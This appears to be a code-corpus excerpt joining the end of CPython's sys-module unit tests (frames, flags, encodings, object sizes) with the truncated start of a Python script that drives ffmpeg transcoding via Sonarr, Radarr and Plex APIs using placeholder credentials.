# Verify that the captured main-thread frame is _this_ frame.
frame = d.pop(main_id)
self.assertTrue(frame is sys._getframe())
# Verify that the captured thread frame is blocked in g456, called
# from f123. This is a litte tricky, since various bits of
# threading.py are also in the thread's call stack.
frame = d.pop(thread_id)
stack = traceback.extract_stack(frame)
for i, (filename, lineno, funcname, sourceline) in enumerate(stack):
if funcname == "f123":
break
else:
self.fail("didn't find f123() on thread's call stack")
self.assertEqual(sourceline, "g456()")
# And the next record must be for g456().
filename, lineno, funcname, sourceline = stack[i+1]
self.assertEqual(funcname, "g456")
self.assertIn(sourceline, ["leave_g.wait()", "entered_g.set()"])
# Reap the spawned thread.
leave_g.set()
t.join()
def test_attributes(self):
self.assertIsInstance(sys.api_version, int)
self.assertIsInstance(sys.argv, list)
self.assertIn(sys.byteorder, ("little", "big"))
self.assertIsInstance(sys.builtin_module_names, tuple)
self.assertIsInstance(sys.copyright, str)
self.assertIsInstance(sys.exec_prefix, str)
self.assertIsInstance(sys.base_exec_prefix, str)
self.assertIsInstance(sys.executable, str)
self.assertEqual(len(sys.float_info), 11)
self.assertEqual(sys.float_info.radix, 2)
self.assertEqual(len(sys.int_info), 2)
self.assertTrue(sys.int_info.bits_per_digit % 5 == 0)
self.assertTrue(sys.int_info.sizeof_digit >= 1)
self.assertEqual(type(sys.int_info.bits_per_digit), int)
self.assertEqual(type(sys.int_info.sizeof_digit), int)
self.assertIsInstance(sys.hexversion, int)
self.assertEqual(len(sys.hash_info), 9)
self.assertLess(sys.hash_info.modulus, 2**sys.hash_info.width)
# sys.hash_info.modulus should be a prime; we do a quick
# probable primality test (doesn't exclude the possibility of
# a Carmichael number)
for x in range(1, 100):
self.assertEqual(
pow(x, sys.hash_info.modulus-1, sys.hash_info.modulus),
1,
"sys.hash_info.modulus {} is a non-prime".format(
sys.hash_info.modulus)
)
self.assertIsInstance(sys.hash_info.inf, int)
self.assertIsInstance(sys.hash_info.nan, int)
self.assertIsInstance(sys.hash_info.imag, int)
algo = sysconfig.get_config_var("Py_HASH_ALGORITHM")
if sys.hash_info.algorithm in {"fnv", "siphash24"}:
self.assertIn(sys.hash_info.hash_bits, {32, 64})
self.assertIn(sys.hash_info.seed_bits, {32, 64, 128})
if algo == 1:
self.assertEqual(sys.hash_info.algorithm, "siphash24")
elif algo == 2:
self.assertEqual(sys.hash_info.algorithm, "fnv")
else:
self.assertIn(sys.hash_info.algorithm, {"fnv", "siphash24"})
else:
# PY_HASH_EXTERNAL
self.assertEqual(algo, 0)
self.assertGreaterEqual(sys.hash_info.cutoff, 0)
self.assertLess(sys.hash_info.cutoff, 8)
self.assertIsInstance(sys.maxsize, int)
self.assertIsInstance(sys.maxunicode, int)
self.assertEqual(sys.maxunicode, 0x10FFFF)
self.assertIsInstance(sys.platform, str)
self.assertIsInstance(sys.prefix, str)
self.assertIsInstance(sys.base_prefix, str)
self.assertIsInstance(sys.version, str)
vi = sys.version_info
self.assertIsInstance(vi[:], tuple)
self.assertEqual(len(vi), 5)
self.assertIsInstance(vi[0], int)
self.assertIsInstance(vi[1], int)
self.assertIsInstance(vi[2], int)
self.assertIn(vi[3], ("alpha", "beta", "candidate", "final"))
self.assertIsInstance(vi[4], int)
self.assertIsInstance(vi.major, int)
self.assertIsInstance(vi.minor, int)
self.assertIsInstance(vi.micro, int)
self.assertIn(vi.releaselevel, ("alpha", "beta", "candidate", "final"))
self.assertIsInstance(vi.serial, int)
self.assertEqual(vi[0], vi.major)
self.assertEqual(vi[1], vi.minor)
self.assertEqual(vi[2], vi.micro)
self.assertEqual(vi[3], vi.releaselevel)
self.assertEqual(vi[4], vi.serial)
self.assertTrue(vi > (1,0,0))
self.assertIsInstance(sys.float_repr_style, str)
self.assertIn(sys.float_repr_style, ('short', 'legacy'))
if not sys.platform.startswith('win'):
self.assertIsInstance(sys.abiflags, str)
def test_thread_info(self):
info = sys.thread_info
self.assertEqual(len(info), 3)
self.assertIn(info.name, ('nt', 'pthread', 'solaris', None))
self.assertIn(info.lock, ('semaphore', 'mutex+cond', None))
def test_43581(self):
# Can't use sys.stdout, as this is a StringIO object when
# the test runs under regrtest.
self.assertEqual(sys.__stdout__.encoding, sys.__stderr__.encoding)
def test_intern(self):
global numruns
numruns += 1
self.assertRaises(TypeError, sys.intern)
s = "never interned before" + str(numruns)
self.assertTrue(sys.intern(s) is s)
s2 = s.swapcase().swapcase()
self.assertTrue(sys.intern(s2) is s)
# Subclasses of string can't be interned, because they
# provide too much opportunity for insane things to happen.
# We don't want them in the interned dict and if they aren't
# actually interned, we don't want to create the appearance
# that they are by allowing intern() to succeed.
class S(str):
def __hash__(self):
return 123
self.assertRaises(TypeError, sys.intern, S("abc"))
def test_sys_flags(self):
self.assertTrue(sys.flags)
attrs = ("debug",
"inspect", "interactive", "optimize", "dont_write_bytecode",
"no_user_site", "no_site", "ignore_environment", "verbose",
"bytes_warning", "quiet", "hash_randomization", "isolated",
"dev_mode", "utf8_mode")
for attr in attrs:
self.assertTrue(hasattr(sys.flags, attr), attr)
attr_type = bool if attr == "dev_mode" else int
self.assertEqual(type(getattr(sys.flags, attr)), attr_type, attr)
self.assertTrue(repr(sys.flags))
self.assertEqual(len(sys.flags), len(attrs))
self.assertIn(sys.flags.utf8_mode, {0, 1, 2})
def assert_raise_on_new_sys_type(self, sys_attr):
# Users are intentionally prevented from creating new instances of
# sys.flags, sys.version_info, and sys.getwindowsversion.
attr_type = type(sys_attr)
with self.assertRaises(TypeError):
attr_type()
with self.assertRaises(TypeError):
attr_type.__new__(attr_type)
def test_sys_flags_no_instantiation(self):
self.assert_raise_on_new_sys_type(sys.flags)
def test_sys_version_info_no_instantiation(self):
self.assert_raise_on_new_sys_type(sys.version_info)
def test_sys_getwindowsversion_no_instantiation(self):
# Skip if not being run on Windows.
test.support.get_attribute(sys, "getwindowsversion")
self.assert_raise_on_new_sys_type(sys.getwindowsversion())
@test.support.cpython_only
def test_clear_type_cache(self):
sys._clear_type_cache()
def test_ioencoding(self):
env = dict(os.environ)
# Test character: cent sign, encoded as 0x4A (ASCII J) in CP424,
# not representable in ASCII.
env["PYTHONIOENCODING"] = "cp424"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout = subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
expected = ("\xa2" + os.linesep).encode("cp424")
self.assertEqual(out, expected)
env["PYTHONIOENCODING"] = "ascii:replace"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout = subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, b'?')
env["PYTHONIOENCODING"] = "ascii"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
env=env)
out, err = p.communicate()
self.assertEqual(out, b'')
self.assertIn(b'UnicodeEncodeError:', err)
self.assertIn(rb"'\xa2'", err)
env["PYTHONIOENCODING"] = "ascii:"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
env=env)
out, err = p.communicate()
self.assertEqual(out, b'')
self.assertIn(b'UnicodeEncodeError:', err)
self.assertIn(rb"'\xa2'", err)
env["PYTHONIOENCODING"] = ":surrogateescape"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xdcbd))'],
stdout=subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, b'\xbd')
@unittest.skipUnless(test.support.FS_NONASCII,
'requires OS support of non-ASCII encodings')
@unittest.skipUnless(sys.getfilesystemencoding() == locale.getpreferredencoding(False),
'requires FS encoding to match locale')
def test_ioencoding_nonascii(self):
env = dict(os.environ)
env["PYTHONIOENCODING"] = ""
p = subprocess.Popen([sys.executable, "-c",
'print(%a)' % test.support.FS_NONASCII],
stdout=subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, os.fsencode(test.support.FS_NONASCII))
@unittest.skipIf(sys.base_prefix != sys.prefix,
'Test is not venv-compatible')
def test_executable(self):
# sys.executable should be absolute
self.assertEqual(os.path.abspath(sys.executable), sys.executable)
# Issue #7774: Ensure that sys.executable is an empty string if argv[0]
# has been set to a non existent program name and Python is unable to
# retrieve the real program name
# For a normal installation, it should work without 'cwd'
# argument. For test runs in the build directory, see #7774.
python_dir = os.path.dirname(os.path.realpath(sys.executable))
p = subprocess.Popen(
["nonexistent", "-c",
'import sys; print(sys.executable.encode("ascii", "backslashreplace"))'],
executable=sys.executable, stdout=subprocess.PIPE, cwd=python_dir)
stdout = p.communicate()[0]
executable = stdout.strip().decode("ASCII")
p.wait()
self.assertIn(executable, ["b''", repr(sys.executable.encode("ascii", "backslashreplace"))])
def check_fsencoding(self, fs_encoding, expected=None):
self.assertIsNotNone(fs_encoding)
codecs.lookup(fs_encoding)
if expected:
self.assertEqual(fs_encoding, expected)
def test_getfilesystemencoding(self):
fs_encoding = sys.getfilesystemencoding()
if sys.platform == 'darwin':
expected = 'utf-8'
else:
expected = None
self.check_fsencoding(fs_encoding, expected)
def c_locale_get_error_handler(self, locale, isolated=False, encoding=None):
# Force the POSIX locale
env = dict(os.environ)
env["LC_ALL"] = locale
code = '\n'.join((
'import sys',
'def dump(name):',
' std = getattr(sys, name)',
' print("%s: %s" % (name, std.errors))',
'dump("stdin")',
'dump("stdout")',
'dump("stderr")',
))
args = [sys.executable,
"-X", "utf8=0",
"-X", "coerce_c_locale=0",
"-c", code]
if isolated:
args.append("-I")
if encoding is not None:
env['PYTHONIOENCODING'] = encoding
else:
env.pop('PYTHONIOENCODING', None)
p = subprocess.Popen(args,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
env=env,
universal_newlines=True)
stdout, stderr = p.communicate()
return stdout
def check_locale_surrogateescape(self, locale):
out = self.c_locale_get_error_handler(locale, isolated=True)
self.assertEqual(out,
'stdin: surrogateescape\n'
'stdout: surrogateescape\n'
'stderr: backslashreplace\n')
# replace the default error handler
out = self.c_locale_get_error_handler(locale, encoding=':ignore')
self.assertEqual(out,
'stdin: ignore\n'
'stdout: ignore\n'
'stderr: backslashreplace\n')
# force the encoding
out = self.c_locale_get_error_handler(locale, encoding='iso8859-1')
self.assertEqual(out,
'stdin: strict\n'
'stdout: strict\n'
'stderr: backslashreplace\n')
out = self.c_locale_get_error_handler(locale, encoding='iso8859-1:')
self.assertEqual(out,
'stdin: strict\n'
'stdout: strict\n'
'stderr: backslashreplace\n')
# have no any effect
out = self.c_locale_get_error_handler(locale, encoding=':')
self.assertEqual(out,
'stdin: surrogateescape\n'
'stdout: surrogateescape\n'
'stderr: backslashreplace\n')
out = self.c_locale_get_error_handler(locale, encoding='')
self.assertEqual(out,
'stdin: surrogateescape\n'
'stdout: surrogateescape\n'
'stderr: backslashreplace\n')
def test_c_locale_surrogateescape(self):
self.check_locale_surrogateescape('C')
def test_posix_locale_surrogateescape(self):
self.check_locale_surrogateescape('POSIX')
def test_implementation(self):
# This test applies to all implementations equally.
levels = {'alpha': 0xA, 'beta': 0xB, 'candidate': 0xC, 'final': 0xF}
self.assertTrue(hasattr(sys.implementation, 'name'))
self.assertTrue(hasattr(sys.implementation, 'version'))
self.assertTrue(hasattr(sys.implementation, 'hexversion'))
self.assertTrue(hasattr(sys.implementation, 'cache_tag'))
version = sys.implementation.version
self.assertEqual(version[:2], (version.major, version.minor))
hexversion = (version.major << 24 | version.minor << 16 |
version.micro << 8 | levels[version.releaselevel] << 4 |
version.serial << 0)
self.assertEqual(sys.implementation.hexversion, hexversion)
# PEP 421 requires that .name be lower case.
self.assertEqual(sys.implementation.name,
sys.implementation.name.lower())
@test.support.cpython_only
def test_debugmallocstats(self):
# Test sys._debugmallocstats()
from test.support.script_helper import assert_python_ok
args = ['-c', 'import sys; sys._debugmallocstats()']
ret, out, err = assert_python_ok(*args)
self.assertIn(b"free PyDictObjects", err)
# The function has no parameter
self.assertRaises(TypeError, sys._debugmallocstats, True)
@unittest.skipUnless(hasattr(sys, "getallocatedblocks"),
"sys.getallocatedblocks unavailable on this build")
def test_getallocatedblocks(self):
try:
import _testcapi
except ImportError:
with_pymalloc = support.with_pymalloc()
else:
alloc_name = _testcapi.pymem_getallocatorsname()
with_pymalloc = (alloc_name in ('pymalloc', 'pymalloc_debug'))
# Some sanity checks
a = sys.getallocatedblocks()
self.assertIs(type(a), int)
if with_pymalloc:
self.assertGreater(a, 0)
else:
# When WITH_PYMALLOC isn't available, we don't know anything
# about the underlying implementation: the function might
# return 0 or something greater.
self.assertGreaterEqual(a, 0)
try:
# While we could imagine a Python session where the number of
# multiple buffer objects would exceed the sharing of references,
# it is unlikely to happen in a normal test run.
self.assertLess(a, sys.gettotalrefcount())
except AttributeError:
# gettotalrefcount() not available
pass
gc.collect()
b = sys.getallocatedblocks()
self.assertLessEqual(b, a)
gc.collect()
c = sys.getallocatedblocks()
self.assertIn(c, range(b - 50, b + 50))
@test.support.requires_type_collecting
def test_is_finalizing(self):
self.assertIs(sys.is_finalizing(), False)
# Don't use the atexit module because _Py_Finalizing is only set
# after calling atexit callbacks
code = """if 1:
import sys
class AtExit:
is_finalizing = sys.is_finalizing
print = print
def __del__(self):
self.print(self.is_finalizing(), flush=True)
# Keep a reference in the __main__ module namespace, so the
# AtExit destructor will be called at Python exit
ref = AtExit()
"""
rc, stdout, stderr = assert_python_ok('-c', code)
self.assertEqual(stdout.rstrip(), b'True')
@unittest.skipUnless(hasattr(sys, 'getandroidapilevel'),
'need sys.getandroidapilevel()')
def test_getandroidapilevel(self):
level = sys.getandroidapilevel()
self.assertIsInstance(level, int)
self.assertGreater(level, 0)
def test_sys_tracebacklimit(self):
code = """if 1:
import sys
def f1():
1 / 0
def f2():
f1()
sys.tracebacklimit = %r
f2()
"""
def check(tracebacklimit, expected):
p = subprocess.Popen([sys.executable, '-c', code % tracebacklimit],
stderr=subprocess.PIPE)
out = p.communicate()[1]
self.assertEqual(out.splitlines(), expected)
traceback = [
b'Traceback (most recent call last):',
b' File "<string>", line 8, in <module>',
b' File "<string>", line 6, in f2',
b' File "<string>", line 4, in f1',
b'ZeroDivisionError: division by zero'
]
check(10, traceback)
check(3, traceback)
check(2, traceback[:1] + traceback[2:])
check(1, traceback[:1] + traceback[3:])
check(0, [traceback[-1]])
check(-1, [traceback[-1]])
check(1<<1000, traceback)
check(-1<<1000, [traceback[-1]])
check(None, traceback)
def test_no_duplicates_in_meta_path(self):
self.assertEqual(len(sys.meta_path), len(set(sys.meta_path)))
@unittest.skipUnless(hasattr(sys, "_enablelegacywindowsfsencoding"),
'needs sys._enablelegacywindowsfsencoding()')
def test__enablelegacywindowsfsencoding(self):
code = ('import sys',
'sys._enablelegacywindowsfsencoding()',
'print(sys.getfilesystemencoding(), sys.getfilesystemencodeerrors())')
rc, out, err = assert_python_ok('-c', '; '.join(code))
out = out.decode('ascii', 'replace').rstrip()
self.assertEqual(out, 'mbcs replace')
@test.support.cpython_only
class SizeofTest(unittest.TestCase):
def setUp(self):
self.P = struct.calcsize('P')
self.longdigit = sys.int_info.sizeof_digit
import _testcapi
self.gc_headsize = _testcapi.SIZEOF_PYGC_HEAD
check_sizeof = test.support.check_sizeof
def test_gc_head_size(self):
# Check that the gc header size is added to objects tracked by the gc.
vsize = test.support.calcvobjsize
gc_header_size = self.gc_headsize
# bool objects are not gc tracked
self.assertEqual(sys.getsizeof(True), vsize('') + self.longdigit)
# but lists are
self.assertEqual(sys.getsizeof([]), vsize('Pn') + gc_header_size)
def test_errors(self):
class BadSizeof:
def __sizeof__(self):
raise ValueError
self.assertRaises(ValueError, sys.getsizeof, BadSizeof())
class InvalidSizeof:
def __sizeof__(self):
return None
self.assertRaises(TypeError, sys.getsizeof, InvalidSizeof())
sentinel = ["sentinel"]
self.assertIs(sys.getsizeof(InvalidSizeof(), sentinel), sentinel)
class FloatSizeof:
def __sizeof__(self):
return 4.5
self.assertRaises(TypeError, sys.getsizeof, FloatSizeof())
self.assertIs(sys.getsizeof(FloatSizeof(), sentinel), sentinel)
class OverflowSizeof(int):
def __sizeof__(self):
return int(self)
self.assertEqual(sys.getsizeof(OverflowSizeof(sys.maxsize)),
sys.maxsize + self.gc_headsize)
with self.assertRaises(OverflowError):
sys.getsizeof(OverflowSizeof(sys.maxsize + 1))
with self.assertRaises(ValueError):
sys.getsizeof(OverflowSizeof(-1))
with self.assertRaises((ValueError, OverflowError)):
sys.getsizeof(OverflowSizeof(-sys.maxsize - 1))
def test_default(self):
size = test.support.calcvobjsize
self.assertEqual(sys.getsizeof(True), size('') + self.longdigit)
self.assertEqual(sys.getsizeof(True, -1), size('') + self.longdigit)
def test_objecttypes(self):
# check all types defined in Objects/
calcsize = struct.calcsize
size = test.support.calcobjsize
vsize = test.support.calcvobjsize
check = self.check_sizeof
# bool
check(True, vsize('') + self.longdigit)
# buffer
# XXX
# builtin_function_or_method
check(len, size('4P')) # XXX check layout
# bytearray
samples = [b'', b'u'*100000]
for sample in samples:
x = bytearray(sample)
check(x, vsize('n2Pi') + x.__alloc__())
# bytearray_iterator
check(iter(bytearray()), size('nP'))
# bytes
check(b'', vsize('n') + 1)
check(b'x' * 10, vsize('n') + 11)
# cell
def get_cell():
x = 42
def inner():
return x
return inner
check(get_cell().__closure__[0], size('P'))
# code
def check_code_size(a, expected_size):
self.assertGreaterEqual(sys.getsizeof(a), expected_size)
check_code_size(get_cell().__code__, size('6i13P'))
check_code_size(get_cell.__code__, size('6i13P'))
def get_cell2(x):
def inner():
return x
return inner
check_code_size(get_cell2.__code__, size('6i13P') + calcsize('n'))
# complex
check(complex(0,1), size('2d'))
# method_descriptor (descriptor object)
check(str.lower, size('3PP'))
# classmethod_descriptor (descriptor object)
# XXX
# member_descriptor (descriptor object)
import datetime
check(datetime.timedelta.days, size('3PP'))
# getset_descriptor (descriptor object)
import collections
check(collections.defaultdict.default_factory, size('3PP'))
# wrapper_descriptor (descriptor object)
check(int.__add__, size('3P2P'))
# method-wrapper (descriptor object)
check({}.__iter__, size('2P'))
# dict
check({}, size('nQ2P') + calcsize('2nP2n') + 8 + (8*2//3)*calcsize('n2P'))
longdict = {1:1, 2:2, 3:3, 4:4, 5:5, 6:6, 7:7, 8:8}
check(longdict, size('nQ2P') + calcsize('2nP2n') + 16 + (16*2//3)*calcsize('n2P'))
# dictionary-keyview
check({}.keys(), size('P'))
# dictionary-valueview
check({}.values(), size('P'))
# dictionary-itemview
check({}.items(), size('P'))
# dictionary iterator
check(iter({}), size('P2nPn'))
# dictionary-keyiterator
check(iter({}.keys()), size('P2nPn'))
# dictionary-valueiterator
check(iter({}.values()), size('P2nPn'))
# dictionary-itemiterator
check(iter({}.items()), size('P2nPn'))
# dictproxy
class C(object): pass
check(C.__dict__, size('P'))
# BaseException
check(BaseException(), size('5Pb'))
# UnicodeEncodeError
check(UnicodeEncodeError("", "", 0, 0, ""), size('5Pb 2P2nP'))
# UnicodeDecodeError
check(UnicodeDecodeError("", b"", 0, 0, ""), size('5Pb 2P2nP'))
# UnicodeTranslateError
check(UnicodeTranslateError("", 0, 1, ""), size('5Pb 2P2nP'))
# ellipses
check(Ellipsis, size(''))
# EncodingMap
import codecs, encodings.iso8859_3
x = codecs.charmap_build(encodings.iso8859_3.decoding_table)
check(x, size('32B2iB'))
# enumerate
check(enumerate([]), size('n3P'))
# reverse
check(reversed(''), size('nP'))
# float
check(float(0), size('d'))
# sys.floatinfo
check(sys.float_info, vsize('') + self.P * len(sys.float_info))
# frame
import inspect
CO_MAXBLOCKS = 20
x = inspect.currentframe()
ncells = len(x.f_code.co_cellvars)
nfrees = len(x.f_code.co_freevars)
extras = x.f_code.co_stacksize + x.f_code.co_nlocals +\
ncells + nfrees - 1
check(x, vsize('5P2c4P3ic' + CO_MAXBLOCKS*'3i' + 'P' + extras*'P'))
# function
def func(): pass
check(func, size('12P'))
class c():
@staticmethod
def foo():
pass
@classmethod
def bar(cls):
pass
# staticmethod
check(foo, size('PP'))
# classmethod
check(bar, size('PP'))
# generator
def get_gen(): yield 1
check(get_gen(), size('Pb2PPP4P'))
# iterator
check(iter('abc'), size('lP'))
# callable-iterator
import re
check(re.finditer('',''), size('2P'))
# list
samples = [[], [1,2,3], ['1', '2', '3']]
for sample in samples:
check(sample, vsize('Pn') + len(sample)*self.P)
# sortwrapper (list)
# XXX
# cmpwrapper (list)
# XXX
# listiterator (list)
check(iter([]), size('lP'))
# listreverseiterator (list)
check(reversed([]), size('nP'))
# int
check(0, vsize(''))
check(1, vsize('') + self.longdigit)
check(-1, vsize('') + self.longdigit)
PyLong_BASE = 2**sys.int_info.bits_per_digit
check(int(PyLong_BASE), vsize('') + 2*self.longdigit)
check(int(PyLong_BASE**2-1), vsize('') + 2*self.longdigit)
check(int(PyLong_BASE**2), vsize('') + 3*self.longdigit)
# module
check(unittest, size('PnPPP'))
# None
check(None, size(''))
# NotImplementedType
check(NotImplemented, size(''))
# object
check(object(), size(''))
# property (descriptor object)
class C(object):
def getx(self): return self.__x
def setx(self, value): self.__x = value
def delx(self): del self.__x
x = property(getx, setx, delx, "")
check(x, size('4Pi'))
# PyCapsule
# XXX
# rangeiterator
check(iter(range(1)), size('4l'))
# reverse
check(reversed(''), size('nP'))
# range
check(range(1), size('4P'))
check(range(66000), size('4P'))
# set
# frozenset
PySet_MINSIZE = 8
samples = [[], range(10), range(50)]
s = size('3nP' + PySet_MINSIZE*'nP' + '2nP')
for sample in samples:
minused = len(sample)
if minused == 0: tmp = 1
# the computation of minused is actually a bit more complicated
# but this suffices for the sizeof test
minused = minused*2
newsize = PySet_MINSIZE
while newsize <= minused:
newsize = newsize << 1
if newsize <= 8:
check(set(sample), s)
check(frozenset(sample), s)
else:
check(set(sample), s + newsize*calcsize('nP'))
check(frozenset(sample), s + newsize*calcsize('nP'))
# setiterator
check(iter(set()), size('P3n'))
# slice
check(slice(0), size('3P'))
# super
check(super(int), size('3P'))
# tuple
check((), vsize(''))
check((1,2,3), vsize('') + 3*self.P)
# type
# static type: PyTypeObject
fmt = 'P2n15Pl4Pn9Pn11PIP'
if hasattr(sys, 'getcounts'):
fmt += '3n2P'
s = vsize(fmt)
check(int, s)
# class
s = vsize(fmt + # PyTypeObject
'3P' # PyAsyncMethods
'36P' # PyNumberMethods
'3P' # PyMappingMethods
'10P' # PySequenceMethods
'2P' # PyBufferProcs
'4P')
class newstyleclass(object): pass
# Separate block for PyDictKeysObject with 8 keys and 5 entries
check(newstyleclass, s + calcsize("2nP2n0P") + 8 + 5*calcsize("n2P"))
# dict with shared keys
check(newstyleclass().__dict__, size('nQ2P') + 5*self.P)
o = newstyleclass()
o.a = o.b = o.c = o.d = o.e = o.f = o.g = o.h = 1
# Separate block for PyDictKeysObject with 16 keys and 10 entries
check(newstyleclass, s + calcsize("2nP2n0P") + 16 + 10*calcsize("n2P"))
# dict with shared keys
check(newstyleclass().__dict__, size('nQ2P') + 10*self.P)
# unicode
# each tuple contains a string and its expected character size
# don't put any static strings here, as they may contain
# wchar_t or UTF-8 representations
samples = ['1'*100, '\xff'*50,
'\u0100'*40, '\uffff'*100,
'\U00010000'*30, '\U0010ffff'*100]
asciifields = "nnbP"
compactfields = asciifields + "nPn"
unicodefields = compactfields + "P"
for s in samples:
maxchar = ord(max(s))
if maxchar < 128:
L = size(asciifields) + len(s) + 1
elif maxchar < 256:
L = size(compactfields) + len(s) + 1
elif maxchar < 65536:
L = size(compactfields) + 2*(len(s) + 1)
else:
L = size(compactfields) + 4*(len(s) + 1)
check(s, L)
# verify that the UTF-8 size is accounted for
s = chr(0x4000) # 4 bytes canonical representation
check(s, size(compactfields) + 4)
# compile() will trigger the generation of the UTF-8
# representation as a side effect
compile(s, "<stdin>", "eval")
check(s, size(compactfields) + 4 + 4)
# TODO: add check that forces the presence of wchar_t representation
# TODO: add check that forces layout of unicodefields
# weakref
import weakref
check(weakref.ref(int), size('2Pn2P'))
# weakproxy
# XXX
# weakcallableproxy
check(weakref.proxy(int), size('2Pn2P'))
def check_slots(self, obj, base, extra):
expected = sys.getsizeof(base) + struct.calcsize(extra)
if gc.is_tracked(obj) and not gc.is_tracked(base):
expected += self.gc_headsize
self.assertEqual(sys.getsizeof(obj), expected)
def test_slots(self):
# check all subclassable types defined in Objects/ that allow
# non-empty __slots__
check = self.check_slots
class BA(bytearray):
__slots__ = 'a', 'b', 'c'
check(BA(), bytearray(), '3P')
class D(dict):
__slots__ = 'a', 'b', 'c'
check(D(x=[]), {'x': []}, '3P')
class L(list):
__slots__ = 'a', 'b', 'c'
check(L(), [], '3P')
class S(set):
__slots__ = 'a', 'b', 'c'
check(S(), set(), '3P')
class FS(frozenset):
__slots__ = 'a', 'b', 'c'
check(FS(), frozenset(), '3P')
from collections import OrderedDict
class OD(OrderedDict):
__slots__ = 'a', 'b', 'c'
check(OD(x=[]), OrderedDict(x=[]), '3P')
def test_pythontypes(self):
# check all types defined in Python/
size = test.support.calcobjsize
vsize = test.support.calcvobjsize
check = self.check_sizeof
# _ast.AST
import _ast
check(_ast.AST(), size('P'))
try:
raise TypeError
except TypeError:
tb = sys.exc_info()[2]
# traceback
if tb is not None:
check(tb, size('2P2i'))
# symtable entry
# XXX
# sys.flags
check(sys.flags, vsize('') + self.P * len(sys.flags))
def test_asyncgen_hooks(self):
old = sys.get_asyncgen_hooks()
self.assertIsNone(old.firstiter)
self.assertIsNone(old.finalizer)
firstiter = lambda *a: None
sys.set_asyncgen_hooks(firstiter=firstiter)
hooks = sys.get_asyncgen_hooks()
self.assertIs(hooks.firstiter, firstiter)
self.assertIs(hooks[0], firstiter)
self.assertIs(hooks.finalizer, None)
self.assertIs(hooks[1], None)
finalizer = lambda *a: None
sys.set_asyncgen_hooks(finalizer=finalizer)
hooks = sys.get_asyncgen_hooks()
self.assertIs(hooks.firstiter, firstiter)
self.assertIs(hooks[0], firstiter)
self.assertIs(hooks.finalizer, finalizer)
self.assertIs(hooks[1], finalizer)
sys.set_asyncgen_hooks(*old)
cur = sys.get_asyncgen_hooks()
self.assertIsNone(cur.firstiter)
self.assertIsNone(cur.finalizer)
def test_main():
test.support.run_unittest(SysModuleTest, SizeofTest)
if __name__ == "__main__":
test_main()
|
ffmpeg_recursive.py | #!/bin/python3
import argparse
import concurrent.futures
import concurrent.futures.thread
import json
import logging
import os
import re
import shutil
import socketserver
import subprocess
import sys
import threading
import time
from datetime import datetime, timedelta
from json import JSONDecodeError
from pathlib import Path
from typing import Dict, Any
import ffmpeg
import pytz
import requests
import socketserver
""" """
global SONARR_URL
SONARR_URL = "http://[SONARR URL/IP ADDRESS ]:8989/api/" # sonarr
global SONARR_APIKEY_PARAM
SONARR_APIKEY_PARAM = "?apikey=[SONARR API KEY]"
global RADARR_URL
global RADARR_APIKEY_PARAM
RADARR_URL = 'http://[RADARR URL/IP ]:7878/api/'
RADARR_APIKEY_PARAM = "?apikey=[RADARR API KEY HERE]"
global SeriesCache
SeriesCache = None
global RadarrCache
RadarrCache = None
global lastCacheRefreshTime
lastCacheRefreshTime = datetime.utcnow()
global P_Counter
P_Counter = 0
global P_Limit
P_Limit = 0
PLEX_URL = 'http://[PLEX URL/IP HERE]:32400'
PLEX_TOKEN = '[PLEX TOKEN HERE]'
g_vars: Dict[Any, str] = dict(SONARR_URL=SONARR_URL, SONARR_API_KEY=SONARR_APIKEY_PARAM, RADARR_URL=RADARR_URL,
RADARR_API_KEY=RADARR_APIKEY_PARAM, PLEX_URL=PLEX_URL, PLEX_TOKEN=PLEX_TOKEN)
#
# class RHandler(socketserver.BaseRequestHandler):
# def handle(self):
# # self.request is the TCP socket connected to the client
#
# self.data = self.request.recv(1024).strip()
# print("{} wrote:".format(self.client_address[0]))
# print(self.data)
# # just send back the same data, but upper-cased
# self.request.sendall(self.data.upper())
#
#
# t_server = socketserver.TCPServer(('127.0.0.1', 6543), RHandler)
def set_up_listener():
t_server.serve_forever()
def create_arg_parser():
""""Creates and returns the ArgumentParser object."""
parser = argparse.ArgumentParser(description='Description of your app.')
parser.add_argument('--background', '-b',
help="run with 1 thread to allow other processes to work in parallel \
will run with 1 thread per flag present",
action='count')
parser.add_argument('--daemon', '-d',
help='run as ongoing process, consider using with -O and/or -p',
action='store_true')
parser.add_argument('--plex', '-p',
help="check and wait for there to be 0 plex clients before starting a transcode",
action='store_true')
parser.add_argument('--worker', '-w',
help='the number of duplicate worker processes spawned',
default=1,
action='count')
parser.add_argument('--limit',
'-l',
help='limit this to processing X items',
type=int,
default=0)
parser.add_argument('--verbose',
'-v',
help="increase verbosity",
action='store_true')
parser.add_argument('--input_file', '-i',
type=Path,
help='path to input file (to process a single file) or directory (to process all files in a '
'dir)')
parser.add_argument('--offpeak',
'-O',
help="start worker threads that will only run during off peak hours",
action='store_true')
parser.add_argument('--ignore_movies', '-m',
help='skip fetching movie paths for transcoding',
action='store_true')
parser.add_argument('--adaptive', '-a',
help='try to scale number of threads based on active plex sessions',
action='store_true')
# parser.add_argument('--outputDirectory',
# help='Path to the output that contains the resumes.')
return parser
def sonarr_get(api_type, query_param=None):
global SeriesCache
query_string = ""
if query_param is not None:
for q in query_param:
query_string += "&{}={}".format(q, query_param[q])
r = requests.get(g_vars['SONARR_URL'] + api_type + '?apikey=' + g_vars['SONARR_API_KEY'] + query_string)
if r.status_code == 401:
logging.critical(f'Recieved \'Unauthorized\' response from Sonarr. Verify Credentials are accurate and try '
f'again')
raise ConnectionRefusedError(r)
jds = json.loads(r.content)
SeriesCache = jds
return jds
def radarr_get(api_type, query_param=None):
global RadarrCache
query_string = ""
if query_param is not None:
for q in query_param:
query_string += "&{}={}".format(q, query_param[q])
r = requests.get(g_vars['RADARR_URL'] + api_type + '?apikey=' + g_vars['RADARR_API_KEY'] + query_string)
if r.status_code == 401:
